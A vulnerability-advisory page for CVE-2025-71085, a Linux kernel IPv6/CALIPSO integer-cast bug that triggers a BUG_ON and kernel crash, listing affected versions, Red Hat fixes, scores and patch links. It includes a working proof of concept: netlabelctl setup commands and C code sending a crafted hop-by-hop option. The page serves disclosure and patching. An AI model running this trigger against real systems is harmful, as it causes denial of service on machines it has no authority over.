ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
Published Jan 13, 2026
7.5
HIGHCVSS 3.1
EPSS 0.28%
Description
There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.
PoC: Using `netlabelctl` tool:
netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0;
// setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337;
// setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
Affected products
-
- Version StatusaffectedConstraints
- Version StatusaffectedConstraints
- Version StatusaffectedConstraints
- Version StatusaffectedConstraints
- Version StatusaffectedConstraints
- Version StatusaffectedConstraints
- Version StatusaffectedConstraints
- Version
-
- Version 4.8StatusaffectedConstraints-
- Version 0StatusunaffectedConstraints<4.8
- Version 5.10.248StatusunaffectedConstraints<=5.10.*
- Version 5.15.198StatusunaffectedConstraints<=5.15.*
- Version 6.1.160StatusunaffectedConstraints<=6.1.*
- Version 6.12.64StatusunaffectedConstraints<=6.12.*
- Version 6.18.4StatusunaffectedConstraints<=6.18.*
- Version 6.19StatusunaffectedConstraints<=*
- Version 6.6.120StatusunaffectedConstraints<=6.6.*
- Version
Default status is the baseline for the product, each version can override it (e.g. patched versions marked unaffected).
| Vendor | Product | Default status | Versions | ||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Linux | Linux | unaffected |
| ||||||||||||||||||||||||||||||
| Linux | Linux | affected |
|
- ≥ 4.8.1 · < 5.10.248
- ≥ 5.11 · < 5.15.198
- ≥ 5.16 · < 6.1.160
- ≥ 6.2 · < 6.6.120
- ≥ 6.7 · < 6.12.64
- ≥ 6.13 · < 6.18.4
- 4.8
- 6.19
- 6.19
- 6.19
- 6.19
- 6.19
- 6.19
- 6.19
- 6.19
No data.
Red Hat Enterprise Linux 10
kernel-0:6.12.0-124.43.1.el10_1
Fixed · RHSA-2026:4012
Red Hat Enterprise Linux 10.0 Extended Update Support
kernel-0:6.12.0-55.65.1.el10_0
Fixed · RHSA-2026:6193
Red Hat Enterprise Linux 8
kernel-0:4.18.0-553.111.1.el8_10
Fixed · RHSA-2026:3963
Red Hat Enterprise Linux 8
kernel-rt-0:4.18.0-553.111.1.rt7.452.el8_10
Fixed · RHSA-2026:3964
Red Hat Enterprise Linux 8.2 Advanced Update Support
kernel-0:4.18.0-193.190.1.el8_2
Fixed · RHSA-2026:5727
Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support
kernel-0:4.18.0-305.188.1.el8_4
Fixed · RHSA-2026:7003
Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On
kernel-0:4.18.0-305.188.1.el8_4
Fixed · RHSA-2026:7003
Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support
kernel-0:4.18.0-372.185.1.el8_6
Fixed · RHSA-2026:5691
Red Hat Enterprise Linux 8.6 Telecommunications Update Service
kernel-0:4.18.0-372.185.1.el8_6
Fixed · RHSA-2026:5691
Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions
kernel-0:4.18.0-372.185.1.el8_6
Fixed · RHSA-2026:5691
Red Hat Enterprise Linux 8.8 Telecommunications Update Service
kernel-0:4.18.0-477.133.1.el8_8
Fixed · RHSA-2026:5689
Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions
kernel-0:4.18.0-477.133.1.el8_8
Fixed · RHSA-2026:5689
Red Hat Enterprise Linux 9
kernel-0:5.14.0-611.36.1.el9_7
Fixed · RHSA-2026:3488
Red Hat Enterprise Linux 9
kernel-0:5.14.0-611.36.1.el9_7
Fixed · RHSA-2026:3488
Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions
kernel-0:5.14.0-70.171.1.el9_0
Fixed · RHSA-2026:5693
Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions
kernel-rt-0:5.14.0-70.171.1.rt21.243.el9_0
Fixed · RHSA-2026:5732
Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions
kernel-0:5.14.0-284.161.1.el9_2
Fixed · RHSA-2026:5813
Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions
kernel-rt-0:5.14.0-284.161.1.rt14.446.el9_2
Fixed · RHSA-2026:5690
Red Hat Enterprise Linux 9.4 Extended Update Support
kernel-0:5.14.0-427.114.1.el9_4
Fixed · RHSA-2026:4246
Red Hat Enterprise Linux 9.6 Extended Update Support
kernel-0:5.14.0-570.98.1.el9_6
Fixed · RHSA-2026:4745
Red Hat Enterprise Linux 6
kernel
Not affected
Red Hat Enterprise Linux 7
kernel
Not affected
Red Hat Enterprise Linux 7
kernel-rt
Not affected
Red Hat Enterprise Linux 9
kernel-rt
Affected
| Product | Package | State | Advisory |
|---|---|---|---|
| Red Hat Enterprise Linux 10 | kernel-0:6.12.0-124.43.1.el10_1 | Fixed | RHSA-2026:4012 |
| Red Hat Enterprise Linux 10.0 Extended Update Support | kernel-0:6.12.0-55.65.1.el10_0 | Fixed | RHSA-2026:6193 |
| Red Hat Enterprise Linux 8 | kernel-0:4.18.0-553.111.1.el8_10 | Fixed | RHSA-2026:3963 |
| Red Hat Enterprise Linux 8 | kernel-rt-0:4.18.0-553.111.1.rt7.452.el8_10 | Fixed | RHSA-2026:3964 |
| Red Hat Enterprise Linux 8.2 Advanced Update Support | kernel-0:4.18.0-193.190.1.el8_2 | Fixed | RHSA-2026:5727 |
| Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support | kernel-0:4.18.0-305.188.1.el8_4 | Fixed | RHSA-2026:7003 |
| Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On | kernel-0:4.18.0-305.188.1.el8_4 | Fixed | RHSA-2026:7003 |
| Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support | kernel-0:4.18.0-372.185.1.el8_6 | Fixed | RHSA-2026:5691 |
| Red Hat Enterprise Linux 8.6 Telecommunications Update Service | kernel-0:4.18.0-372.185.1.el8_6 | Fixed | RHSA-2026:5691 |
| Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions | kernel-0:4.18.0-372.185.1.el8_6 | Fixed | RHSA-2026:5691 |
| Red Hat Enterprise Linux 8.8 Telecommunications Update Service | kernel-0:4.18.0-477.133.1.el8_8 | Fixed | RHSA-2026:5689 |
| Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions | kernel-0:4.18.0-477.133.1.el8_8 | Fixed | RHSA-2026:5689 |
| Red Hat Enterprise Linux 9 | kernel-0:5.14.0-611.36.1.el9_7 | Fixed | RHSA-2026:3488 |
| Red Hat Enterprise Linux 9 | kernel-0:5.14.0-611.36.1.el9_7 | Fixed | RHSA-2026:3488 |
| Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions | kernel-0:5.14.0-70.171.1.el9_0 | Fixed | RHSA-2026:5693 |
| Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions | kernel-rt-0:5.14.0-70.171.1.rt21.243.el9_0 | Fixed | RHSA-2026:5732 |
| Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions | kernel-0:5.14.0-284.161.1.el9_2 | Fixed | RHSA-2026:5813 |
| Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions | kernel-rt-0:5.14.0-284.161.1.rt14.446.el9_2 | Fixed | RHSA-2026:5690 |
| Red Hat Enterprise Linux 9.4 Extended Update Support | kernel-0:5.14.0-427.114.1.el9_4 | Fixed | RHSA-2026:4246 |
| Red Hat Enterprise Linux 9.6 Extended Update Support | kernel-0:5.14.0-570.98.1.el9_6 | Fixed | RHSA-2026:4745 |
| Red Hat Enterprise Linux 6 | kernel | Not affected | n/a |
| Red Hat Enterprise Linux 7 | kernel | Not affected | n/a |
| Red Hat Enterprise Linux 7 | kernel-rt | Not affected | n/a |
| Red Hat Enterprise Linux 9 | kernel-rt | Affected | n/a |
No package ranges for this CVE.
Remediation
Red Hat statement
This vulnerability allows an unprivileged user to trigger a kernel BUG by causing an integer overflow in the headroom calculation used by skb_cow(), which results in a negative size passed to pskb_expand_head(). The kernel subsequently hits a reachable BUG_ON() and crashes, leading to a reliable denial-of-service condition. In worst-case scenarios, this path may be reachable via crafted IPv6 traffic with CALIPSO options.
Red Hat mitigation
Mitigation for this issue is either not available or the currently available options don't meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Metrics
No CVSS v4.0 score for this CVE.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1 other source (CVE.org) ▾
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
No CVSS v3.0 score for this CVE.
No CVSS v2.0 score for this CVE.
This CVE is not in the KEV list.
CISA SSVC (Vulnrichment)
Stakeholder-Specific Vulnerability Categorization from CISA ADP.
Exploitation
NoneAutomatable
NoTechnical Impact
PartialDecision
n/aAssessed Jun 10, 2026 · SSVC 2.0.3
Estimated probability of exploitation in the wild in the next 30 days (FIRST EPSS). As of Oct 1, 2026.
Score over time
Jan–Oct 2026- EPSS v4
- EPSS v5
Percentile over time
- EPSS v4
- EPSS v5
Table of values (3 key points)
Flat stretches are collapsed; showing up to 120 newest points.
| Date | Score | Percentile | Model |
|---|---|---|---|
| Oct 1, 2026 | 0.28% (0.00279) | 18.43th | v5 (v2026.06.15) |
| Jun 15, 2026 | 0.11% (0.00114) | 1.78th | v5 (v2026.06.15) |
| Jan 14, 2026 | 0.02% (0.00018) | 3.87th | v4 (v2025.03.14) |
References (13)
- https://access.redhat.com/security/cve/CVE-2025-71085 Vendor Advisory
- https://bugzilla.redhat.com/show_bug.cgi?id=2429026 Issue Tracking
- https://cert-portal.siemens.com/productcert/html/ssa-019113.html
- https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1 Patch
- https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83 Patch
- https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910 Patch
- https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570 Patch
- https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2 Patch
- https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24 Patch
- https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0 Patch
- https://lore.kernel.org/linux-cve-announce/2026011340-CVE-2025-71085-e6c1@gregkh/T
- https://nvd.nist.gov/vuln/detail/CVE-2025-71085
- https://www.cve.org/CVERecord?id=CVE-2025-71085
Change history (0)
No recorded changes yet.